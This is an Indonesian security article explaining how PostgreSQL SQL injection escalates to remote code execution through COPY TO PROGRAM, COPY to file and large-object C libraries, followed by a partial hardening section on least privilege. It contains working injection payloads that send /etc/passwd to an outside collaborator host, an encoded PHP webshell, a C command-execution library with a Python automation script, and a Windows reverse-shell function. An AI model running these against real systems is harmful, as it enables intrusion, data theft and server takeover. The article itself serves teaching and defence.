Skip to main content
  1. Researches/

PostgreSQL : From SQL Injection to Remote Code Execution and How to Protect Them

·3671 words·18 mins
Tiwa Ramdhani
postgresql sqlinjection RCE
Author
Tiwa Ramdhani
Junior Team Leader
Table of Contents

Pendahuluan #

SQL Injection merupakan salah satu serangan yang umum terjadi pada sistem. Serangan ini memungkinkan peretas untuk menyisipkan atau mengeksekusi query SQL berbahaya di dalam sistem, yang dapat mengakses, mengubah, atau bahkan menghapus data dalam database. Ancaman besar lainnya dari SQL Injection adalah potensi peretas untuk melakukan Remote Code Execution (RCE) hingga dapat mengontrol penuh suatu sistem.

Pada artikel ini, saya akan membahas attack vector yang memungkinkan peretas melakukan RCE dengan memanfaatkan serangan SQL Injection. Artikel ini secara khusus membahas serangan pada sistem yang menggunakan DBMS PostgreSQL.

Metode #

PostgreSQL memiliki beberapa fungsi yang dapat digunakan oleh peretas untuk melakukan eskalasi serangan hingga Remote Code Execution (RCE). Beberapa metode serangan yang akan dibahas pada artikel ini adalah:

  1. Copy To Program,
  2. Copy To File,
  3. Large Object.

Perlu dicatat bahwa teknik-teknik yang akan dibahas hanya dapat dilakukan oleh pengguna PostgreSQL yang memiliki akses ke fungsi-fungsi tersebut. Pengguna yang sudah pasti memiliki akses penuh ke semuanya adalah superuser.

Skenario 1 : COPY to PROGRAM #

PostgreSQL memiliki kemampuan untuk menyalin data pada table atau file dengan perintah COPY. Hal yang menarik pada perintah COPY adalah kemampuannya untuk melakukan eksekusi OS Command menggunakan parameter PROGRAM. Mari kita baca sekilas pada dokumentasi COPY

Gambar 1
Gambar 2

Kita coba buat query sederhana untuk melakukan demonstrasi COPY menggunakan parameter PROGRAM. Contohnya disini saya akan menyalin data dari table product ke file /tmp/products.txt. Kita lihat terlebih dahulu data yang ada pada table product

Gambar 3

Selanjutnya kita coba jalankan query COPY dengan menggunakan parameter PROGRAM untuk menyalin lalu menyimpan data tersebut pada file .txt

COPY product to PROGRAM 'cat > /tmp/products.txt';
Gambar 4

Respon pada query yang dieksekusi menunjukkan kalau kita berhasil melakukan COPY 10 data, selanjutnya mari kita cek filenya

sudo cat /tmp/products.txt
Gambar 5

Dari contoh yang sudah kita coba, kita sudah berhasil melakukan eksekusi command sederhana. Jika kita lihat kembali pada Gambar 1. Kita bisa langsung menggunakan query pada COPY

COPY { table_name [ ( column_name [, ...] ) ) | ( query ) }

Dengan langsung menggunakan query pada COPY, kita bisa melakukan eksekusi command tanpa harus menggunakan menggunakan table_name, pada PostgreSQL bisa bisa melakukan SELECT pada suatu string tanpa menggunakan table_name, contohnya sebagai berikut

SELECT 'test';
Gambar 6

Terdapat cara lain untuk melakukan SELECT string pada PostgreSQL yang akan memudahkan kita ketika crafting payload SQL Injection, yaitu dengan menggunakan Dollar-Quoted String Constants yang ditulis dengan simbol $$. Dengan metode tersebut, kita bisa dengan mudah melakukan crafting exploit code yang memiliki banyak single quotes. Mari kita buat satu contoh, misal kita ingin menampilkan string Testing’s single’ quote’s, jika menggunakan cara biasa, maka seperti ini query nya

SELECT 'Testing''s single''s quotes''s';
Gambar 7.

Lalu jika menggunakan Dollar-Quoted String Constants akan seperti berikut

SELECT $$Testing’s single’ quote’s$$;
Gambar 8.

Terlihat perbedaannya, dengan simbol $$, akan memudahkan kita untuk melakukan SELECT dengan string yang memiliki banyak single quotes, nantinya teknik ini akan sangat berguna ketika kita mulai tahap crafting exploit code.

Balik lagi ke fungsi COPY, sekarang kita akan coba eksekusi lagi suatu command, kali ini tanpa menggunakan table_name

COPY (SELECT $$test mencoba output$$) to PROGRAM 'cat > /tmp/test.txt';
Gambar 9.
Gambar 10.

Sekarang, kita akan coba skenario eskalasi serangan SQL Injection hingga dapat melakukan RCE dengan memanfaatkan fungsi COPY. Asumsikan kita sudah menemukan suatu kerentanan SQL Injection

Gambar 11.

Pada skenario ini kita akan menggunakan teknik SQL Injection Stacked Queries, yang mana teknik ini dapat mengeksekusi beberapa statement pada suatu query. Contohnya sederhana seperti ini

SELECT * FROM product WHERE product_name ILIKE '%laptop%'; SELECT $$test$$$;

Terdapat dua statement yang dipisahkan oleh semicolon ; yang nantinya kedua statement tersebut akan dieksekusi. Jika sudah memahami konsep dari COPY to PROGRAM, kita bisa langsung craft payload, pada case ini saya ingin mendapatkan isi konten dari /etc/passwd

lap';COPY (SELECT $$tes$$) to PROGRAM $$curl https://domain.burp-collaborator-subdomain/file -F "file=@/etc/passwd"$$;--
Gambar 12.

Ketika payload SQL Injection dikirim ke server web, kita mendapatkan respon 500, namun kita coba cek koneksi yang masuk di server kita

Gambar 13

Walaupun mendapat respon 500, eksekusi command masih tetap berjalan, kita berhasil melakukan RCE dengan COPY to PROGRAM. Silahkan bereksperimen hingga mendapatkan reverse shell.

Skenario 2 : COPY to File #

Metode yang dibahas pada bagian kali ini tidak secara langsung melakukan eksekusi command seperti pada metode pertama Copy to Program tetapi pada metode Copy to File ini akan menyimpan inputan kita kedalam sebuah file, yang selanjutnya dapat di-chaining untuk melakukan RCE

Kembali lagi melihat dokumentasi COPY pada PostgreSQL

Gambar 14
Gambar 15

Dari dokumentasi, kita mengetahui bahwa filename dapat diisi absolute path, dari informasi ini kita bisa tau bahwa kita bisa mengontrol lokasi penyimpanan file. Mari kita coba contoh yang sederhana dengan menyimpan string pada file .txt

COPY (SELECT $$Test String to Save$$) to $$/tmp/testing.txt$$;
Gambar 16
Gambar 17

Dengan metode ini, kita dapat membuat file backdoor atau webshell yang nantinya ini akan digunakan sebagai media untuk RCE. Mari kita coba skenario sederhana membuat file webshell pada web milik target. Asumsi kita sudah mengetahui ada celah SQL Injection dan kita akan coba menanamkan webshell dengan metode COPY to File

Siapkan webshell terlebih dahulu, saya ambil contoh webshell sederhana dari internet.

<?php
define('PASSWORD', '46ea1712d4b13b55b3f680cc5b8b54e8');

function auth($password)
{
    $input_password_hash = md5($password);

    if (strcmp(PASSWORD, $input_password_hash) == 0) {
        return TRUE;
    }else{
        return FALSE;
    }
}

if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {

    if (auth($_GET['password'])) {
            echo '<pre>'. exec($_GET['cmd']) .'<pre>';
    }else{
        die('Access denied!');
    }
}
?>

Sekarang kita mengalami masalah, kita tidak bisa menginputkan teks yang memiliki newline ke dalam fungsi COPY, karena pada statement hanya bisa menggunakan teks dengan 1 baris saja. Beruntungnya, PostgreSQL memiliki fungsi untuk melakukan decode base64, dengan ini kita bisa encode script webshell kita dengan base64

PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=
Gambar 18

Namun kita masih punya masalah, melihat pada Gambar 18, hasil decode dari base64 bukan merupakan plaintext, namun masih berbentuk bytes

decode('MTIzAAE=', 'base64') → \x3132330001

PostgreSQL memiliki fungsi untuk solve masalah tersebut, yaitu dengan menggunakan convert_from. Fungsi ini dapat mengkonversi tipe data bytes menjadi text. Kita coba buktikan terlebih dahulu dengan mencoba fungsi tersebut

Gambar 19
SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$));
Gambar 20

Kita sudah berhasil mendapatkan cara decode base64 menjadi teks pada PostgreSQL, selanjutnya kita coba kombinasikan dengan fungsi COPY

COPY (SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$))) to $$/tmp/webshell.php$$;
Gambar 21
Gambar 22

Pada Gambar 22, kita melihat masalah baru, newline dianggap sebagai teks \n, hal ini akan mengakibatkan code tidak berjalan dengan semestinya, terdapat beberapa workaround

  1. Ubah code nya menjadi one liner
  2. Gunakan parameter pendukung pada fungsi COPY

Saya hanya akan membahas workaround nomor dua, karena nomor satu terbilang mudah ya caranya. Kita bahas nomor dua, pada Gambar 14 kita bisa lihat jika terdapat option yang bisa digunakan, untuk kasus ini kita bisa gunakan FORMAT dan QUOTE. Dengan mengubah format output menjadi CSV, karakter newline tidak akan muncul sebagai teks \n, lalu QUOTE digunakan untuk menghapus double quote yang muncul pada code setelah formatnya diubah menjadi CSV, bentuk akhir dari statement akan menjadi seperti berikut

COPY (SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$))) to $$/tmp/webshell.php$$ WITH (FORMAT CSV, QUOTE $$ $$);
Gambar 23
Gambar 24

Semua persiapan sudah lengkap, saatnya kita mulai untuk mengirimkan backdoor pada website target. Asumsi kita sudah melakukan information gathering lalu kita mendapat informasi terkait target sebagai berikut

  1. Web target yang vulnerable terdapat di port 5000
  2. Terdapat web yang menggunakan Apache pada port 80
  3. Path dari web yang menggunakan Apache berada di /var/www/html

Pertanyaan: Bagaimana kalau misal kita tidak tahu dimana directory dari service web berjalan ?

Jawaban: Kalian bisa coba menebak dengan menggunakan list web services default directory atau mendapatkan informasi dari stack trace atau pesan error

Gambar 25

Terlihat kalau tidak ada file webshell.php pada website target, sekarang kita eksploitasi kerentanan SQL Injection hingga bisa menyimpan file webshell ke website milik target

lap'; COPY (SELECT (convert_from(decode($$PD9waHAKZGVmaW5lKCdQQVNTV09SRCcsICc0NmVhMTcxMmQ0YjEzYjU1YjNmNjgwY2M1YjhiNTRlOCcpOwoKZnVuY3Rpb24gYXV0aCgkcGFzc3dvcmQpCnsKICAgICRpbnB1dF9wYXNzd29yZF9oYXNoID0gbWQ1KCRwYXNzd29yZCk7CgogICAgaWYgKHN0cmNtcChQQVNTV09SRCwgJGlucHV0X3Bhc3N3b3JkX2hhc2gpID09IDApIHsKICAgICAgICByZXR1cm4gVFJVRTsKICAgIH1lbHNlewogICAgICAgIHJldHVybiBGQUxTRTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkgJiYgIWVtcHR5KCRfR0VUWydjbWQnXSkgJiYgaXNzZXQoJF9HRVRbJ3Bhc3N3b3JkJ10pKSB7CgogICAgaWYgKGF1dGgoJF9HRVRbJ3Bhc3N3b3JkJ10pKSB7CiAgICAgICAgICAgIGVjaG8gJzxwcmU+Jy4gZXhlYygkX0dFVFsnY21kJ10pIC4nPHByZT4nOwogICAgfWVsc2V7CiAgICAgICAgZGllKCdBY2Nlc3MgZGVuaWVkIScpOwogICAgfQp9Cj8+Cg==$$,$$base64$$),$$utf-8$$))) to $$/var/www/html/webshell.php$$ WITH (FORMAT CSV, QUOTE $$ $$);--
Gambar 26

Setelah mengirim payload exploit, kita mendapatkan respon error 500, tapi mari kita cek ke website target

Gambar 27

Kita dapat mengakses webshell dan mengeksekusi command. Pada section ini kita sudah mendemonstrasikan penggunaan COPY to File untuk menyimpan backdoor pada suatu server.

Skenario 3 : Large Object #

PostgreSQL memiliki kapabilitas untuk menambah fungsi baru, merujuk pada dokumentasi, PostgreSQL mendukung C-language functions. Pada section ini kita akan membahas proses pembuatan fungsi dengan Bahasa C hingga dapat melakukan RCE

Perlu dicatat, dalam pembuatan fungsi, pastikan major version pada PostgreSQL target dengan PostgreSQL kita selaku attacker sudah sama. Contohnya jika pada Target menggunakan PostgreSQL versi 16.8, minimal kita menggunakan versi 16.0 untuk melakukan compile code nya. Lebih baik lagi jika versinya bisa sama persis.

Merujuk kembali pada dokumentasi, ketika membuat fungsi menggunakan bahasa C, terdapat dua file .h yang harus di-include, yaitu postgres.h dan fmgr.h.

Gambar 28

Untuk memastikan code yang ditulis oleh kita compatible dengan PostgreSQL yang ada pada mesin target, kita harus memasukkan PG_MODULE_MAGIC; pada code, sehingga kalau misalkan code yang kita buat incompatible, kita akan dapat mengetahuinya jika kita mendapatkan error message.

Gambar 29

Kita akan defined nama fungsinya terlebih dahulu dengan

PG_FUNCTION_INFO_V1(funcname);

Setelah itu kita bisa membuat logic dari fungsinya dengan

Datum funcname(PG_FUNCTION_ARGS)

Berikut contoh sederhana dari code RCE yang sudah bisa untuk di compile. Code ini membuat fungsi yang bernama myshell lalu membaca parameter string pada fungsi lalu menyimpannya pada variabel command, terakhir melakukan eksekusi dengan fungsi system(). Perlu dicatat bahwa skenario yang dilakukan pada artikel ini hanya berjalan pada target dengan sistem operasi Linux, untuk sistem operasi Windows, perlu ada penyesuaian lagi dengan kodenya

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(myshell);
Datum myshell(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Compile code dengan command berikut

gcc -I$(pg_config --includedir-server) -shared -fPIC -o myshell.so myshell.c
Gambar 30

Pastikan pada mesin kita sudah terinstall Postgresql server, kalau tidak, maka compile akan gagal. Selanjutnya kita akan mengirimkan hasil compilenya ke mesin target, untuk melakukan ini, kita harus mengenal LARGE OBJECT

Merujuk pada dokumentasi LARGE OBJECT, fungsi ini memungkinkan kita untuk mengirim data yang besar dengan memecah data tersebut menjadi bagian-bagian yang kecil. Mari kita coba beberapa fungsi large object.

lo_import digunakan untuk melakukan import file sebagai large object, hal ini sangat berguna sebagai langkah awal untuk membuat large object. Kita memerlukan suatu file yang pasti ada pada sistem operasi, pada skenario ini menggunakan Linux, contohnya kita ambil /etc/hostname

SELECT lo_import($$/etc/hostname$$);
Gambar 31

Jika sukses, maka akan muncul loid pada responnya, pada case ini loid nya adalah 16411. Selanjutnya kita coba eksport data yang sudah kita import

SELECT lo_export(16411,$$/tmp/a.txt$$);
Gambar 32
Gambar 33

Dari sini kita memiliki kemampuan untuk membaca dan menyimpan file menggunakan Large Object. Untuk membaca data yang ada pada Large Object, kita bisa menggunakan command

SELECT * FROM pg_largeobject;
Gambar 34

loid yang didapatkan ketika melakukan import merupakan angka random, namun kita bisa menentukan sendiri loid dengan menambahkan param baru, ini akan sangat membantu nanti ketika melakukan tahap eksploitasi

SELECT lo_import($$/etc/hostname$$, 1337);
Gambar 35

Jika kita lihat, terdapat kolom pageno dan juga data, namun value pada data ini dalam bentuk bytes, bukan plaintext, ketika di eksport, data tersebut kembali menjadi plaintext. Dari informasi ini, kita bisa menyimpulkan modifikasi data secara langsung pada table pg_largeobject membutuhkan data berbentuk bytes.

Selanjutnya kita akan mengirimkan file myshell.so, masalahnya adalah konten file tersebut bukan bentuk teks. Agar file shell kita bisa dikirim, kita akan konversi file tersebut menjadi bentuk hex. Untuk mempermudah, kita akan gunakan Python untuk melakukan konversi

import binascii
import sys

def filetohex(path):
    with open(path, 'rb') as f:
        content = f.read()
    hex_bytes = binascii.hexlify(content)
    return hex_bytes.decode()
Gambar 36

Ternyata hex yang dihasilkan sangat panjang, menurut referensi, setiap row pada Large Object hanya bisa menampung 2048 bytes. Oleh karena itu, kita harus memecah hex pada file shell yang kita miliki.

Gambar 37

Kita bisa menggunakan Python lagi untuk membantu mempermudah proses split konten

def split_udf(udfhex):
    for i in range(0, int(round(len(udfhex)/4096))):
        udf_chunk = udfhex[i*4096:(i+1)*4096]
        print(f"Chunk {i} : {udf_chunk}")
Gambar 38

Setelah terpisah menjadi beberapa chunk, saatnya kita input ke Large Object. Kita akan gunakan Large Object yang sudah ada dengan loid 1337, untuk pemilihan loid ini sebenarnya bebas, yang penting loid tersebut sudah ada. Pertama, kita ubah terlebih dahulu konten yang ada pada pageno nomor 0 dengan chunk nomor 0. Karena datanya besar, konten hex nya akan saya tulis menjadi {udf_chuck}

UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) WHERE loid=1337 and pageno=0;
Gambar 39

Selanjutnya masukkan sisa chunk yang lain hingga semua chunk sudah diinput, disini saya asumsikan hanya terdapat delapan chunk, dimulai dari 0.

INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, 1, decode($${udf_chunk}$$, $$hex$$));

.
.
.

INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, 7, decode($${udf_chunk}$$, $$hex$$));
Gambar 40

Setelah berhasil diinputkan semua, kita dapat melihat loid 1337 memiliki delapan pageno, artinya kita sudah memecah file shell kita menjadi 8 chunk.

Gambar 41

Selanjutnya kita akan ekspor semua konten pada loid 1337 lalu menyimpannya pada mesin target

SELECT lo_export(1337, $$/tmp/myshell.so$$);
Gambar 42

Setelah perjalanan yang cukup panjang, akhirnya kita masuk ke fase membuat fungsi shell pada PostgreSQL menggunakan file shell yang sudah kita compile. Untuk membuat sebuah fungsi, kita akan menggunakan CREATE FUNCTION. Pada dokumentasi dapat dilihat kalau kita bisa memanggil obj_file ketika membuat fungsi baru

Gambar 43

Untuk membuat fungsi baru, kita bisa menggunakan query berikut

CREATE OR REPLACE FUNCTION shellsys(cstring) RETURNS INT as $$/tmp/myshell.so$$, $$myshell$$ LANGUAGE C STRICT;
Gambar 44

Sekarang mari kita coba eksekusi suatu command untuk mengirim isi konten /etc/passwd ke server kita sebagai attacker

SELECT shellsys($$curl https://domain.burp-collaborator-subdomain/file -F "file=@/etc/passwd"$$);
Gambar 45
Gambar 46

Akhirnya kita berhasil melakukan RCE dengan metode Large Object, untuk menghapus fungsi yang sudah kita buat, bisa menggunakan command

drop function if exists shellsys(cstring);
Gambar 47

Tahap akhir, kita akan mencoba untuk melakukan eksploitasi SQL Injection menggunakan metode Large Object yang sudah kita eksplorasi. Karena prosesnya yang cukup panjang, kita akan coba gunakan Python agar bisa melakukan automation

import requests
import sys
import binascii
requests.packages.urllib3.disable_warnings()

loid = 1338
postHeaders = {"Cookie":"jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc0NTgwMjYwNX0.71hbrMBUxv7VPnOkwfIntZrLPHV48b0NKdDzVWJb0jM"}

def log(msg):
    print(msg)

def make_request(url, sql):
    log(f"[+] Executing query: {sql[0:80]}")
    r = requests.post(url, headers=postHeaders, json={"search_term":f"lap';{sql};-- "}, verify=False)
    # print(sql)
    return r

def delete_lo(url, loid):
    log("[+] Deleting existing LO...")
    sql = f"SELECT lo_unlink({loid})"
    make_request(url, sql)

def create_lo(url, loid):
    log("[+] Creating LO for UDF injection...")
    sql = f"SELECT lo_import($$/etc/hostname$$, {loid})"
    make_request(url, sql)

def inject_udf(url, loid, udf):
    log(f"[+] Injecting payload of length {len(udf)} into LO...")
    for i in range(0, int(round(len(udf)/4096))):
        udf_chunk = udf[i*4096:(i+1)*4096]
        if i == 0:
            sql = f"UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) WHERE loid={loid} and pageno={i}"
        else:
            sql = f"INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES ({loid}, {i}, decode($${udf_chunk}$$, $$hex$$))"
        make_request(url, sql)

def export_udf(url, loid):
    log("[+] Exporting UDF library to filesystem...")
    sql = f"SELECT lo_export({loid}, $$/tmp/mynewshell.so$$)"
    make_request(url, sql)

def create_udf_func(url):
    log("[+] Creating function...")
    sql = "CREATE OR REPLACE FUNCTION shellsys(cstring) RETURNS INT as $$/tmp/mynewshell.so$$, $$myshell$$ LANGUAGE C STRICT"
    make_request(url, sql)

def trigger_udf(url, command):
    log("[+] Launching reverse shell...")
    sql = f"SELECT shellsys($${command}$$)"
    make_request(url, sql)

def read_payload_file(path):
    with open(path, 'rb') as f:
        content = f.read()
    hex_bytes = binascii.hexlify(content)
    return hex_bytes.decode()

def main():
    try:
        command = sys.argv[1]
        payload = sys.argv[2]
    except IndexError:
        print(f"[-] Usage: {sys.argv[0]} command payloadfile")
        print(f"[+] eg: {sys.argv[0]} whoami myshell.so")
        sys.exit()
    sqli_url  = "http://localhost:5000/search" 

    udf = read_payload_file(payload)
    delete_lo(sqli_url, loid)
    create_lo(sqli_url, loid)
    inject_udf(sqli_url, loid, udf)
    export_udf(sqli_url, loid)
    create_udf_func(sqli_url)
    trigger_udf(sqli_url, command)

if __name__ == '__main__':
    main()
Gambar 48
Gambar 49

Seluruh proses yang sudah kita pahami sudah bisa kita otomasi dengan menggunakan Python, dengan ini kita bisa lebih mudah untuk melakukan eksploitasi Large Object.

Bonus : Shell Function For Windows #

Pada skenario Large Object yang sudah dibahas, kita sudah berhasil mencoba membuat fungsi shell pada PostgreSQL yang berada pada sistem operasi Linux. Untuk target yang menggunakan sistem operasi Windows, perlu ada penyesuaian pada kode C nya. Kita bisa crafting code untuk melakukan reverse shell dengan menggunakan code berikut

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);

WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;

Datum
connect_back(PG_FUNCTION_ARGS)
{

	/* convert C string to text pointer */
#define GET_TEXT(cstrp) \
   DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))

	/* convert text pointer to C string */
#define GET_STR(textp) \
  DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	WSAStartup(MAKEWORD(2, 2), &wsaData);
	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

	hax.sin_family = AF_INET;

	hax.sin_port = htons(PG_GETARG_INT32(1));

	hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0)));

	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

	memset(&sui, 0, sizeof(sui));
	sui.cb = sizeof(sui);
	sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;

	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
	PG_RETURN_VOID();
}

Selanjutnya compile kode tersebut menjadi .dll, selanjutnya lakukan skenario Large Object hingga bisa berhasil melakukan reverse shell.

Protect PostgreSQL #

Setelah membahas cara melakukan penyerangan, sekarang kita bahas teknik untuk mengamankan PostgreSQL untuk mencegah hacker melakukan eksploitasi yang sudah kita pelajari pada artikel ini.

Grant Least Privilege Access #

Prinsip Least Privilege yaitu memberikan pengguna hanya hak akses minimum yang diperlukan untuk menjalankan tugas mereka. Ini berarti memberikan akses read, write, dan execute hanya pada skema, tabel, atau baris tertentu yang diperlukan oleh pengguna.

Biasanya default user pada PostgreSQL memiliki level superuser, artinya user tersebut memiliki seluruh akses, sebaiknya kita tidak menggunakan superuser untuk mengurusi database pada suatu aplikasi

Sebelum masuk ke Least Privilege, pastikan superuser sudah mengimplementasikan strong password, kita dapat melakukan konfig dengan statement berikut

ALTER USER postgres PASSWORD 'Re4LlyStr0nGPass!';
Gambar 50

Kita harus mendefinisikan terlebih dahulu user database yang akan dibuat, contoh kita akan membuat user dengan nama WebManager, pekerjaan yang bisa dilakukan oleh user tersebut adalah

  1. Mengakses Database myappdb
  2. View produk
  3. View, Create, Update, Delete users

Sekarang kita akan mulai membuat user baru, kita dapat menggunakan CREATE USER untuk membuat user baru, merujuk pada dokumentasi, terdapat beberapa parameter yang bisa kita gunakan

Gambar 51

Dari informasi parameter yang ada pada dokumentasi, kita dapat membuat user dengan least privileges dengan statement berikut

CREATE USER webmanager WITH LOGIN NOSUPERUSER NOCREATEDB NOINHERIT NOREPLICATION NOBYPASSRLS ENCRYPTED PASSWORD 'StrongManagerP4ssW0rd';
Gambar 52
ParameterPenjelasan
webmanagerNama pengguna yang akan dibuat, dalam hal ini adalah WebManager.
WITH LOGINMenandakan bahwa pengguna ini dapat melakukan login ke database.
NOSUPERUSERPengguna ini bukan superuser, jadi tidak memiliki akses penuh ke semua objek di database.
NOCREATEDBPengguna ini tidak dapat membuat database baru.
NOINHERITPengguna ini tidak akan mewarisi hak akses dari role lain yang mungkin dimilikinya.
NOREPLICATIONPengguna ini tidak dapat membuat dan mengelola replikasi di PostgreSQL.
NOBYPASSRLSPengguna ini tidak dapat mengabaikan aturan Row Level Security (RLS) yang diterapkan pada tabel.
ENCRYPTEDMenandakan bahwa kata sandi yang diberikan akan disimpan dalam bentuk ter-enkripsi di database.
PASSWORD 'StrongManagerP4ssW0rd'Kata sandi yang akan digunakan oleh pengguna WebManager, yaitu 'StrongManagerP4ssW0rd'. Kata sandi ini akan disimpan dalam bentuk terenkripsi.

Parameter tambahan lainya dapat digunakan sesuai dengan kebutuhan, mari kita coba login pada user baru tersebut untuk memastikan user tersebut sudah bisa login

psql -U WebManager
Gambar 53

Ternyata user yang sudah dibuat tidak dapat login. Hal ini dikarenakan karena belum ada Database yang di granted pada user tersebut. Untuk memberikan akses pada suatu user, kita bisa gunakan fungsi GRANT. Kita kembali lagi ke akun superuser untuk memberikan akses CONNECT kepada webmanager agar bisa terkoneksi ke database dengan command berikut

GRANT CONNECT ON DATABASE myappdb to webmanager;
Gambar 54
Gambar 55

